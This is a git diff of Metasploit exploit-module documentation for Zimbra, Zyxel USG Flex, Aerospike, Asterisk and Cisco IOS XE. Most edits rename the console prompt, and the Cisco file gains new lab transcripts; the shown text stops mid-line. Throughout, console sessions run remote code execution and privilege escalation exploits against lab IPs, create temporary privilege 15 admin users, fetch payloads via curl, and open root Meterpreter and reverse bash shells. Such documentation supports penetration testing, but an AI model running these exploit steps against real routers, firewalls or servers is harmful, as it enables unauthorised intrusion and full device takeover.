b/documentation/modules/exploit/linux/local/zimbra_slapper_priv_esc.md index c2ae23b9a463d..29d19d16fc12b 100644 --- a/documentation/modules/exploit/linux/local/zimbra_slapper_priv_esc.md +++ b/documentation/modules/exploit/linux/local/zimbra_slapper_priv_esc.md @@ -15,7 +15,7 @@ it. From there: ``` -msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > sessions -l +msf exploit(linux/fileformat/unrar_cve_2022_30333) > sessions -l Active sessions =============== @@ -24,11 +24,11 @@ Active sessions -- ---- ---- ----------- ---------- 10 meterpreter x86/linux zimbra @ zimbra.example.org 10.0.0.146:4444 -> 10.0.0.154:39800 (10.0.0.154) -msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > use exploit/linux/local/zimbra_slapper_priv_esc +msf exploit(linux/fileformat/unrar_cve_2022_30333) > use exploit/linux/local/zimbra_slapper_priv_esc [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/zimbra_slapper_priv_esc) > set SESSION 10 +msf exploit(linux/local/zimbra_slapper_priv_esc) > set SESSION 10 SESSION => 10 -msf6 exploit(linux/local/zimbra_slapper_priv_esc) > exploit +msf exploit(linux/local/zimbra_slapper_priv_esc) > exploit [*] Started reverse TCP handler on 10.0.0.146:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/local/zyxel_suid_cp_lpe.md b/documentation/modules/exploit/linux/local/zyxel_suid_cp_lpe.md index 309fb85d4c3d3..c34e15a8a305f 100644 --- a/documentation/modules/exploit/linux/local/zyxel_suid_cp_lpe.md +++ b/documentation/modules/exploit/linux/local/zyxel_suid_cp_lpe.md @@ -68,13 +68,13 @@ the firewall should pass HTTP/HTTPS through the firewall to the web interface. ### Successful escalation to root bash shell on USG Flex 100 using firmware 5.21 ``` -msf6 > use exploit/linux/http/zyxel_ztp_rce +msf > use exploit/linux/http/zyxel_ztp_rce [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/http/zyxel_ztp_rce) > set RHOST 10.0.0.14 +msf exploit(linux/http/zyxel_ztp_rce) > set RHOST 10.0.0.14 RHOST => 10.0.0.14 -msf6 exploit(linux/http/zyxel_ztp_rce) > set LHOST 10.0.0.28 +msf exploit(linux/http/zyxel_ztp_rce) > set LHOST 10.0.0.28 LHOST => 10.0.0.28 -msf6 exploit(linux/http/zyxel_ztp_rce) > run +msf exploit(linux/http/zyxel_ztp_rce) > run [*] Started reverse TCP handler on 10.0.0.28:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -101,13 +101,13 @@ BUILD_DATE=2022-03-15 05:14:23 FSH_VER=1.0.0 ^Z Background session 1? [y/N] y -msf6 exploit(linux/http/zyxel_ztp_rce) > use exploit/linux/local/zyxel_suid_cp_lpe +msf exploit(linux/http/zyxel_ztp_rce) > use exploit/linux/local/zyxel_suid_cp_lpe [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set LHOST 10.0.0.28 +msf exploit(linux/local/zyxel_suid_cp_lpe) > set LHOST 10.0.0.28 LHOST => 10.0.0.28 -msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set session 1 +msf exploit(linux/local/zyxel_suid_cp_lpe) > set session 1 session => 1 -msf6 exploit(linux/local/zyxel_suid_cp_lpe) > run +msf exploit(linux/local/zyxel_suid_cp_lpe) > run [*] Started reverse TCP handler on 10.0.0.28:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -129,13 +129,13 @@ Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 ### Successful escalation to root Meterpreter on USG Flex 100 using firmware 5.21 ``` -msf6 > use exploit/linux/http/zyxel_ztp_rce +msf > use exploit/linux/http/zyxel_ztp_rce [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/http/zyxel_ztp_rce) > set RHOST 10.0.0.14 +msf exploit(linux/http/zyxel_ztp_rce) > set RHOST 10.0.0.14 RHOST => 10.0.0.14 -msf6 exploit(linux/http/zyxel_ztp_rce) > set LHOST 10.0.0.28 +msf exploit(linux/http/zyxel_ztp_rce) > set LHOST 10.0.0.28 LHOST => 10.0.0.28 -msf6 exploit(linux/http/zyxel_ztp_rce) > run +msf exploit(linux/http/zyxel_ztp_rce) > run [*] Started reverse TCP handler on 10.0.0.28:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -162,15 +162,15 @@ BUILD_DATE=2022-03-15 05:14:23 FSH_VER=1.0.0 ^Z Background session 1? [y/N] y -msf6 exploit(linux/http/zyxel_ztp_rce) > use exploit/linux/local/zyxel_suid_cp_lpe +msf exploit(linux/http/zyxel_ztp_rce) > use exploit/linux/local/zyxel_suid_cp_lpe [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set LHOST 10.0.0.28 +msf exploit(linux/local/zyxel_suid_cp_lpe) > set LHOST 10.0.0.28 LHOST => 10.0.0.28 -msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set session 1 +msf exploit(linux/local/zyxel_suid_cp_lpe) > set session 1 session => 1 -msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set target 1 +msf exploit(linux/local/zyxel_suid_cp_lpe) > set target 1 target => 1 -msf6 exploit(linux/local/zyxel_suid_cp_lpe) > run +msf exploit(linux/local/zyxel_suid_cp_lpe) > run [*] Started reverse TCP handler on 10.0.0.28:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/misc/aerospike_database_udf_cmd_exec.md b/documentation/modules/exploit/linux/misc/aerospike_database_udf_cmd_exec.md index d94247e6de2c1..eea767ee1920e 100644 --- a/documentation/modules/exploit/linux/misc/aerospike_database_udf_cmd_exec.md +++ b/documentation/modules/exploit/linux/misc/aerospike_database_udf_cmd_exec.md @@ -64,11 +64,11 @@ Directory where Lua UDF files are stored (Default: `/opt/aerospike/usr/udf/lua/` ### Aerospike Database Community Edition version 5.0.0.10 on Ubuntu 20.04 (x64) ``` -msf6 > use exploit/linux/misc/aerospike_database_udf_cmd_exec +msf > use exploit/linux/misc/aerospike_database_udf_cmd_exec [*] Using configured payload cmd/unix/reverse -msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set rhost 172.16.191.208 +msf exploit(linux/misc/aerospike_database_udf_cmd_exec) > set rhost 172.16.191.208 rhost => 172.16.191.208 -msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > show targets +msf exploit(linux/misc/aerospike_database_udf_cmd_exec) > show targets Exploit targets: @@ -78,15 +78,15 @@ Exploit targets: 1 Linux (Dropper) -msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set target 1 +msf exploit(linux/misc/aerospike_database_udf_cmd_exec) > set target 1 target => 1 -msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set payload +msf exploit(linux/misc/aerospike_database_udf_cmd_exec) > set payload payload => linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set verbose true +msf exploit(linux/misc/aerospike_database_udf_cmd_exec) > set verbose true verbose => true -msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set lhost 172.16.191.165 +msf exploit(linux/misc/aerospike_database_udf_cmd_exec) > set lhost 172.16.191.165 lhost => 172.16.191.165 -msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > run +msf exploit(linux/misc/aerospike_database_udf_cmd_exec) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [*] 172.16.191.208:3000 - Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md b/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md index 5607a45a3d569..9889e356abfd9 100644 --- a/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md +++ b/documentation/modules/exploit/linux/misc/asterisk_ami_originate_auth_rce.md @@ -79,9 +79,9 @@ resource (ami.rb)> set password testuser password => testuser resource (ami.rb)> set verbose true verbose => true -msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > set parkinglot 700@parkedcalls +msf exploit(linux/misc/asterisk_ami_originate_auth_rce) > set parkinglot 700@parkedcalls parkinglot => 700@parkedcalls -msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > exploit +msf exploit(linux/misc/asterisk_ami_originate_auth_rce) > exploit [*] Started reverse TCP handler on 2.2.2.2:4444 [*] 1.1.1.1:5038 - Running automatic check ("set AutoCheck false" to disable) @@ -132,9 +132,9 @@ resource (ami.rb)> set password testuser password => testuser resource (ami.rb)> set verbose true verbose => true -msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > set parkinglot 700@parkedcalls +msf exploit(linux/misc/asterisk_ami_originate_auth_rce) > set parkinglot 700@parkedcalls parkinglot => 700@parkedcalls -msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > exploit +msf exploit(linux/misc/asterisk_ami_originate_auth_rce) > exploit [*] Started reverse TCP handler on 2.2.2.2:4444 [*] 1.1.1.1:5038 - Running automatic check ("set AutoCheck false" to disable) @@ -168,4 +168,4 @@ asterisk -rx "core show version" Asterisk 18.16.0 built by mockbuild @ jenkins7 on a x86_64 running Linux on 2023-01-16 06:50:30 UTC cat /etc/schmooze/pbx-version 12.7.8-2302-1.sng7 -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/linux/misc/cisco_ios_xe_rce.md b/documentation/modules/exploit/linux/misc/cisco_ios_xe_rce.md index fe71934379c9e..ade5fa3aa0365 100644 --- a/documentation/modules/exploit/linux/misc/cisco_ios_xe_rce.md +++ b/documentation/modules/exploit/linux/misc/cisco_ios_xe_rce.md @@ -26,8 +26,12 @@ The vulnerable IOS XE versions are: 17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a, 17.11.99SW +NOTE: The C8000v series appliance version 17.6.5 was observed to not be vulnerable to CVE-2023-20273, even +though the IOS XE version indicates they should be vulnerable to CVE-2023-20273. + ## Testing -This module was tested against IOS XE version 16.12.3 and version 17.3.2. To test this module you will need to either: +This module was tested against IOS XE version 16.12.3 and version 17.3.2 running on a CSR1000v appliance. +To test this module you will need to either: * Acquire a hardware device running one of the vulnerable firmware versions listed above. @@ -86,14 +90,13 @@ This allows for native Linux payloads to be used, but also payloads like Python ### Linux Command (IOS XE 17.3.2) ``` -msf6 exploit(linux/misc/cisco_ios_xe_rce) > set RHOST 192.168.86.58 -RHOST => 192.168.86.58 -msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 0 +msf exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.113 +RHOSTS => 192.168.86.113 +msf exploit(linux/misc/cisco_ios_xe_rce) > set target 0 target => 0 -msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp payload => cmd/linux/http/x64/meterpreter/reverse_tcp -[+] 192.168.86.58:443 - The target is vulnerable. Cisco IOS XE Software, Version 17.03.02 -msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options +msf exploit(linux/misc/cisco_ios_xe_rce) > show options Module options (exploit/linux/misc/cisco_ios_xe_rce): @@ -102,7 +105,7 @@ Module options (exploit/linux/misc/cisco_ios_xe_rce): CISCO_CMD_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to execute a command. CISCO_VRF_NAME global yes The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work. Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOSTS 192.168.86.58 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RHOSTS 192.168.86.113 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 443 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host @@ -110,17 +113,24 @@ Module options (exploit/linux/misc/cisco_ios_xe_rce): Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + When FETCH_FILELESS is false: + Name Current Setting Required Description ---- --------------- -------- ----------- - FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) - FETCH_DELETE false yes Attempt to delete the binary after execution - FETCH_FILENAME dDrTvTlqxwoK no Name to use on remote system when storing payload; cannot contain spaces. - FETCH_SRVHOST no Local IP to use for serving payload - FETCH_SRVPORT 8080 yes Local port to use for serving payload - FETCH_URIPATH no Local URI to use for serving payload - FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces. - LHOST 192.168.86.42 yes The listen address (an interface may be specified) - LPORT 4444 yes The listen port + FETCH_FILENAME vsLOEPPqU no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces Exploit target: @@ -133,20 +143,21 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit - -[*] Started reverse TCP handler on 192.168.86.42:4444 +msf exploit(linux/misc/cisco_ios_xe_rce) > check +[+] 192.168.86.113:443 - The target is vulnerable. Cisco IOS XE Software, Version 17.03.02 +msf exploit(linux/misc/cisco_ios_xe_rce) > exploit +[*] Started reverse TCP handler on 192.168.86.122:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02 -[*] Created privilege 15 user 'sqVXixoV' with password 'ZiPbsXBu' -[*] Removing user 'sqVXixoV' -[*] Sending stage (3045380 bytes) to 192.168.86.58 -[*] Meterpreter session 6 opened (192.168.86.42:4444 -> 192.168.86.58:64970) at 2023-11-06 17:01:06 +0000 +[*] Created privilege 15 user 'vTakCDWG' with password 'RJQHKnKK' +[*] Removing user 'vTakCDWG' +[*] Sending stage (3045380 bytes) to 192.168.86.113 +[*] Meterpreter session 5 opened (192.168.86.122:4444 -> 192.168.86.113:56702) at 2025-03-03 20:31:39 +0000 meterpreter > getuid Server username: root meterpreter > sysinfo -Computer : router +Computer : testc100v OS : (Linux 4.19.106) Architecture : x64 BuildTuple : x86_64-linux-musl @@ -155,31 +166,34 @@ meterpreter > ``` ``` -msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp +msf exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp payload => cmd/linux/http/x64/shell/reverse_tcp -msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit - -[*] Started reverse TCP handler on 192.168.86.42:4444 +msf exploit(linux/misc/cisco_ios_xe_rce) > exploit +[*] Started reverse TCP handler on 192.168.86.122:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02 -[*] Created privilege 15 user 'pfGnCwkI' with password 'YhTwxBLK' -[*] Removing user 'pfGnCwkI' -[*] Sending stage (38 bytes) to 192.168.86.58 -[*] Command shell session 7 opened (192.168.86.42:4444 -> 192.168.86.58:64994) at 2023-11-06 17:01:44 +0000 +[*] Created privilege 15 user 'VltpvRrx' with password 'KDJGXORf' +[*] Removing user 'VltpvRrx' +[*] Sending stage (38 bytes) to 192.168.86.113 +[*] Command shell session 6 opened (192.168.86.122:4444 -> 192.168.86.113:56736) at 2025-03-03 20:32:52 +0000 id uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0 uname -a -Linux router 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux +Linux testc100v 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux exit -[*] 192.168.86.58 - Command shell session 7 closed. -msf6 exploit(linux/misc/cisco_ios_xe_rce) > +[*] 192.168.86.113 - Command shell session 6 closed. +msf exploit(linux/misc/cisco_ios_xe_rce) > ``` ### Linux Command (IOS XE 16.12.3) ``` -msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options +msf exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.114 +RHOSTS => 192.168.86.114 +msf exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(linux/misc/cisco_ios_xe_rce) > show options Module options (exploit/linux/misc/cisco_ios_xe_rce): @@ -188,7 +202,7 @@ Module options (exploit/linux/misc/cisco_ios_xe_rce): CISCO_CMD_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to execute a command. CISCO_VRF_NAME global yes The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work. Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOSTS 192.168.86.59 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RHOSTS 192.168.86.114 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 443 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host @@ -196,17 +210,24 @@ Module options (exploit/linux/misc/cisco_ios_xe_rce): Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + When FETCH_FILELESS is false: + Name Current Setting Required Description ---- --------------- -------- ----------- - FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) - FETCH_DELETE false yes Attempt to delete the binary after execution - FETCH_FILENAME ytfnShmfT no Name to use on remote system when storing payload; cannot contain spaces. - FETCH_SRVHOST no Local IP to use for serving payload - FETCH_SRVPORT 8080 yes Local port to use for serving payload - FETCH_URIPATH no Local URI to use for serving payload - FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces. - LHOST 192.168.86.42 yes The listen address (an interface may be specified) - LPORT 4444 yes The listen port + FETCH_FILENAME UoDekiVI no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces Exploit target: @@ -219,109 +240,109 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/misc/cisco_ios_xe_rce) > check -[+] 192.168.86.59:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03 -msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit - -[*] Started reverse TCP handler on 192.168.86.42:4444 +msf exploit(linux/misc/cisco_ios_xe_rce) > check +[+] 192.168.86.114:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03 +msf exploit(linux/misc/cisco_ios_xe_rce) > exploit +[*] Started reverse TCP handler on 192.168.86.122:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03 -[*] Created privilege 15 user 'lwWQIDaS' with password 'dADCGJpS' -[*] Removing user 'lwWQIDaS' -[*] Sending stage (3045380 bytes) to 192.168.86.59 -[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.59:56554) at 2023-11-06 16:41:06 +0000 +[*] Created privilege 15 user 'XpJaBQIt' with password 'qEBrzlDh' +[*] Removing user 'XpJaBQIt' +[*] Sending stage (3045380 bytes) to 192.168.86.114 +[*] Meterpreter session 7 opened (192.168.86.122:4444 -> 192.168.86.114:61922) at 2025-03-03 20:34:05 +0000 meterpreter > getuid Server username: root meterpreter > sysinfo -Computer : router +Computer : test2_c1000v OS : (Linux 4.19.64) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux -meterpreter > +meterpreter > ``` ``` -msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 0 +msf exploit(linux/misc/cisco_ios_xe_rce) > set target 0 target => 0 -msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp +msf exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/shell/reverse_tcp payload => cmd/linux/http/x64/shell/reverse_tcp -msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit - -[*] Started reverse TCP handler on 192.168.86.42:4444 +msf exploit(linux/misc/cisco_ios_xe_rce) > exploit +[*] Started reverse TCP handler on 192.168.86.122:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03 -[*] Created privilege 15 user 'NjAmOioM' with password 'tOHjWGyw' -[*] Removing user 'NjAmOioM' -[*] Sending stage (38 bytes) to 192.168.86.59 -[*] Command shell session 5 opened (192.168.86.42:4444 -> 192.168.86.59:56598) at 2023-11-06 16:44:48 +0000 +[*] Created privilege 15 user 'vmoCbNcA' with password 'UgDnLaCG' +[*] Removing user 'vmoCbNcA' +[*] Sending stage (38 bytes) to 192.168.86.114 +[*] Command shell session 8 opened (192.168.86.122:4444 -> 192.168.86.114:61940) at 2025-03-03 20:34:58 +0000 id uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0 uname -a -Linux router 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux +Linux test2_c1000v 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux exit -[*] 192.168.86.59 - Command shell session 5 closed. -msf6 exploit(linux/misc/cisco_ios_xe_rce) > +[*] 192.168.86.114 - Command shell session 8 closed. +msf exploit(linux/misc/cisco_ios_xe_rce) > ``` ### Unix Target (IOS XE 17.3.2) ``` -msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 1 +msf exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.113 +RHOSTS => 192.168.86.113 +msf exploit(linux/misc/cisco_ios_xe_rce) > set target 1 target => 1 -msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp +msf exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp payload => cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit - -[*] Started reverse TCP handler on 192.168.86.42:4444 +msf exploit(linux/misc/cisco_ios_xe_rce) > exploit +[*] Started reverse TCP handler on 192.168.86.122:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02 -[*] Created privilege 15 user 'JAonVuJS' with password 'vYecWhWk' -[*] Removing user 'JAonVuJS' -[*] Sending stage (24772 bytes) to 192.168.86.58 -[*] Meterpreter session 8 opened (192.168.86.42:4444 -> 192.168.86.58:65016) at 2023-11-06 17:03:34 +0000 +[*] Created privilege 15 user 'edGjwUsF' with password 'hhOLNNrX' +[*] Removing user 'edGjwUsF' +[*] Sending stage (24772 bytes) to 192.168.86.113 +[*] Meterpreter session 9 opened (192.168.86.122:4444 -> 192.168.86.113:56770) at 2025-03-03 20:36:00 +0000 meterpreter > getuid Server username: root meterpreter > sysinfo -Computer : router +Computer : testc100v OS : Linux 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 Architecture : x64 Meterpreter : python/linux -meterpreter > +meterpreter > ``` ``` -msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/reverse_bash +msf exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/reverse_bash payload => cmd/unix/reverse_bash -msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit - -[*] Started reverse TCP handler on 192.168.86.42:4444 +msf exploit(linux/misc/cisco_ios_xe_rce) > exploit +[*] Started reverse TCP handler on 192.168.86.122:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02 -[*] Created privilege 15 user 'TVtEhbdd' with password 'NtRvujcZ' -[*] Removing user 'TVtEhbdd' -[*] Command shell session 9 opened (192.168.86.42:4444 -> 192.168.86.58:65036) at 2023-11-06 17:04:28 +0000 +[*] Created privilege 15 user 'mXsKBwvG' with password 'gCUirrkj' +[*] Removing user 'mXsKBwvG' +[*] Command shell session 10 opened (192.168.86.122:4444 -> 192.168.86.113:56802) at 2025-03-03 20:36:39 +0000 id uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0 uname -a -Linux router 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux +Linux testc100v 4.19.106 #1 SMP Fri Oct 2 17:55:01 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux exit -[*] 192.168.86.58 - Command shell session 9 closed. -msf6 exploit(linux/misc/cisco_ios_xe_rce) > +[*] 192.168.86.113 - Command shell session 10 closed. +msf exploit(linux/misc/cisco_ios_xe_rce) > ``` ### Unix Target (IOS XE 16.12.3) ``` -msf6 exploit(linux/misc/cisco_ios_xe_rce) > set target 1 +msf exploit(linux/misc/cisco_ios_xe_rce) > set RHOSTS 192.168.86.114 +RHOSTS => 192.168.86.114 +msf exploit(linux/misc/cisco_ios_xe_rce) > set target 1 target => 1 -msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp +msf exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp payload => cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/misc/cisco_ios_xe_rce) > show options +msf exploit(linux/misc/cisco_ios_xe_rce) > show options Module options (exploit/linux/misc/cisco_ios_xe_rce): @@ -330,7 +351,7 @@ Module options (exploit/linux/misc/cisco_ios_xe_rce): CISCO_CMD_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to execute a command. CISCO_VRF_NAME global yes The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work. Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOSTS 192.168.86.59 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RHOSTS 192.168.86.114 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 443 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host @@ -340,7 +361,7 @@ Payload options (cmd/unix/python/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- - LHOST 192.168.86.42 yes The listen address (an interface may be specified) + LHOST eth0 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port @@ -354,45 +375,43 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/misc/cisco_ios_xe_rce) > check -[+] 192.168.86.59:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03 -msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit - -[*] Started reverse TCP handler on 192.168.86.42:4444 +msf exploit(linux/misc/cisco_ios_xe_rce) > check +[+] 192.168.86.114:443 - The target is vulnerable. Cisco IOS XE Software, Version 16.12.03 +msf exploit(linux/misc/cisco_ios_xe_rce) > exploit +[*] Started reverse TCP handler on 192.168.86.122:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03 -[*] Created privilege 15 user 'pJaWZBTl' with password 'KlcuLPaJ' -[*] Removing user 'pJaWZBTl' -[*] Sending stage (24772 bytes) to 192.168.86.59 -[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.59:56572) at 2023-11-06 16:42:36 +0000 +[*] Created privilege 15 user 'vhQbLuix' with password 'JAjuUVov' +[*] Removing user 'vhQbLuix' +[*] Sending stage (24772 bytes) to 192.168.86.114 +[*] Meterpreter session 11 opened (192.168.86.122:4444 -> 192.168.86.114:61966) at 2025-03-03 20:37:36 +0000 meterpreter > getuid Server username: root meterpreter > sysinfo -Computer : router +Computer : test2_c1000v OS : Linux 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 Architecture : x64 Meterpreter : python/linux -meterpreter > +meterpreter > ``` ``` -msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/reverse_bash +msf exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/unix/reverse_bash payload => cmd/unix/reverse_bash -msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit - -[*] Started reverse TCP handler on 192.168.86.42:4444 +msf exploit(linux/misc/cisco_ios_xe_rce) > exploit +[*] Started reverse TCP handler on 192.168.86.122:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. Cisco IOS XE Software, Version 16.12.03 -[*] Created 